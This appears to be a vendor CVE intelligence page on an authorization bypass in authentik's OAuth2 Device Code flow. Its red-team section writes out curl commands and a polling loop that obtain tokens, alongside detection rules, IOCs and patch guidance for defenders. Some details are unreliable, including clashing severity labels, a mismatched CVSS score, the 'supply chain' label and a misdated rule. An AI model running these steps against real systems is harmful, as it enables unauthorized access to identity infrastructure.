☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-38371

CVE-2024-38371 Supply Chain Attack in Authentik
📅 PUBLISHED: 2024-06-28 17:58 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.58%
👁️
0.58% probability
14.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-38371 is a critical authorization bypass vulnerability in authentik, an open-source Identity Provider. The flaw resides in the OAuth2 Device Code flow, where access restrictions assigned to an application are not properly validated. This allows an unauthenticated attacker to obtain OAuth tokens for any application, effectively bypassing all authorization policies. The vulnerability has a CVSS score of 8.6 (High) and affects all versions prior to the patched releases (2024.6.0, 2024.2.4, 2024.4.3). No public proof-of-concept or exploit code is currently available, but the risk is significant due to the potential for complete account takeover and lateral movement within an organization's identity infrastructure.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects authentik, which is distributed as a Docker container and via source code. Organizations using authentik as their identity provider should treat this as a critical supply chain risk, as a compromised IdP can lead to cascading breaches across all connected applications. The patched versions must be deployed immediately to prevent exploitation.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.6 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is trivially exploitable over the network without any authentication or user interaction. Successful exploitation grants the attacker full access to any application protected by authentik, leading to complete compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The OAuth2 Device Code flow is designed for devices with limited input capabilities (e.g., smart TVs, CLI tools). The flow works as follows:

  1. The device requests a device code and user code from the authorization server.
  2. The user visits a URL on a separate device and enters the user code.
  3. The device polls the server until the user authorizes the request.
  4. The device receives an access token.

In authentik, the vulnerability exists because the authorization server does not check the application's access restrictions when processing the device code flow. Specifically, when a device requests a token via the device code grant, the server fails to verify whether the requesting device (or user) has the necessary permissions to access the target application. This means any unauthenticated user can initiate a device code flow for any application, and if the user authorizes it (or if the flow is automated), the attacker obtains a valid token.

The root cause is a missing authorization check in the DeviceCodeGrant handler. The code path that validates access restrictions for standard OAuth2 flows (authorization code, implicit) was not replicated for the device code flow.

Vulnerable vs. Patched Code

Vulnerable Code (simplified pseudocode):

def handle_device_code_request(client_id, scope):
    # No check for application access restrictions
    device_code = generate_device_code()
    store_device_code(device_code, client_id, scope)
    return device_code

Patched Code (simplified pseudocode):

def handle_device_code_request(client_id, scope):
    application = get_application_by_client_id(client_id)
    if not application:
        raise InvalidClientError()
    # NEW: Check access restrictions
    if not check_access_restrictions(application, request.user):
        raise AccessDeniedError()
    device_code = generate_device_code()
    store_device_code(device_code, client_id, scope)
    return device_code

The patch adds a call to check_access_restrictions() before generating the device code, ensuring that only authorized users can initiate the flow for a given application.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target authentik instance (version < 2024.6.0, < 2024.2.4, < 2024.4.3)
  • A valid OAuth2 client ID for a protected application (can be obtained from public documentation or reconnaissance)

Exploitation Steps:

  1. Initiate Device Code Flow:

    curl -X POST "https://target.authentik.example/application/o/device/" \
      -d "client_id=YOUR_CLIENT_ID&scope=openid+profile+email"
    

    Response:

    {
      "device_code": "abc123",
      "user_code": "DEF-GHI",
      "verification_uri": "https://target.authentik.example/device",
      "interval": 5
    }
    
  2. Poll for Token (Automated):

    while true; do
      response=$(curl -s -X POST "https://target.authentik.example/application/o/token/" \
        -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=abc123&client_id=YOUR_CLIENT_ID")
      if echo "$response" | grep -q "access_token"; then
        echo "Token obtained: $response"
        break
      fi
      sleep 5
    done
    
  3. Use Token to Access Protected Resources:

    curl -H "Authorization: Bearer ACCESS_TOKEN" "https://target.authentik.example/api/v3/..."
    

Note: No public exploit code exists, but the above manual steps demonstrate the vulnerability.

Blue Team

Detection Steps:

  1. Monitor for unusual device code flow initiation attempts from unknown IPs.
  2. Look for rapid polling of the token endpoint with the same device code.
  3. Alert on successful token issuance via device code flow for applications that should not use this grant type.

Honeypot Setup:

  • Create a fake application with a high-value name (e.g., "admin-panel") and monitor for device code flow attempts.
  • Log all device code requests and correlate with user authentication events.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /application/o/device/ with client_id parameter
    • Repeated POST requests to /application/o/token/ with grant_type=urn:ietf:params:oauth:grant-type:device_code
    • Unusual user_code values (e.g., automated generation patterns)
  • Log IOCs:

    • authentik audit logs showing device code flow without prior user authentication
    • Multiple failed token requests followed by a successful one from the same IP
    • Device code flow for applications that typically use authorization code grant
  • System IOCs:

    • Unexpected OAuth tokens in application logs
    • New sessions from IPs not associated with legitimate users

Detection Engineering

YARA Rule

rule CVE_2024_38371_Authentik_DeviceCode {
    meta:
        description = "Detects exploitation attempts of CVE-2024-38371 in authentik logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-38371"
    strings:
        $device_code_request = "/application/o/device/"
        $token_request = "/application/o/token/"
        $grant_type_device = "grant_type=urn:ietf:params:oauth:grant-type:device_code"
        $user_code_pattern = /user_code=[A-Z]{3}-[A-Z]{3}/
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-38371 - Authentik Device Code Flow Abuse
id: 8f7b3a2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects exploitation of CVE-2024-38371 where access restrictions are bypassed via OAuth2 Device Code flow
author: Valters IT
logsource:
    category: application
    product: authentik
detection:
    selection:
        http.url|contains:
            - "/application/o/device/"
            - "/application/o/token/"
        http.body|contains: "grant_type=urn:ietf:params:oauth:grant-type:device_code"
    condition: selection
falsepositives:
    - Legitimate device code flow usage for authorized devices
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-38371 - Authentik Device Code Flow Exploitation Attempt";
    flow:to_server;
    content:"/application/o/device/"; http_uri;
    content:"client_id="; http_client_body;
    content:"/application/o/token/"; http_uri;
    content:"grant_type=urn:ietf:params:oauth:grant-type:device_code"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade authentik to version 2024.6.0, 2024.2.4, or 2024.4.3 immediately.
  2. Disable Device Code Flow: If patching is not possible, disable the OAuth2 Device Code grant type for all applications in the authentik admin panel.
  3. Audit Tokens: Revoke all existing tokens issued via device code flow and force re-authentication.

Long-term Mitigations:

  • Implement network segmentation to restrict access to the authentik API.
  • Enable multi-factor authentication for all users.
  • Monitor authentik logs for suspicious device code flow activity.
  • Conduct regular security audits of OAuth2 configurations.

Workaround: If patching is delayed, restrict the device_code grant type at the reverse proxy level:

location /application/o/device/ {
    deny all;
    return 403;
}
location /application/o/token/ {
    if ($request_body ~* "grant_type=urn:ietf:params:oauth:grant-type:device_code") {
        return 403;
    }
}

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-38371/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.